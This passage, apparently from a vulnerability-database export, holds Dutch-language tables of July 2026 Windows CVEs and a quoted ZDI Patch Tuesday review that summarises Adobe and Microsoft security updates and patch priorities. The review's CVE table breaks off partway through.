van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:33.752109Z"}, {"uuid": "5bd4091f-6dd7-4f93-841f-8671ae63cbbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  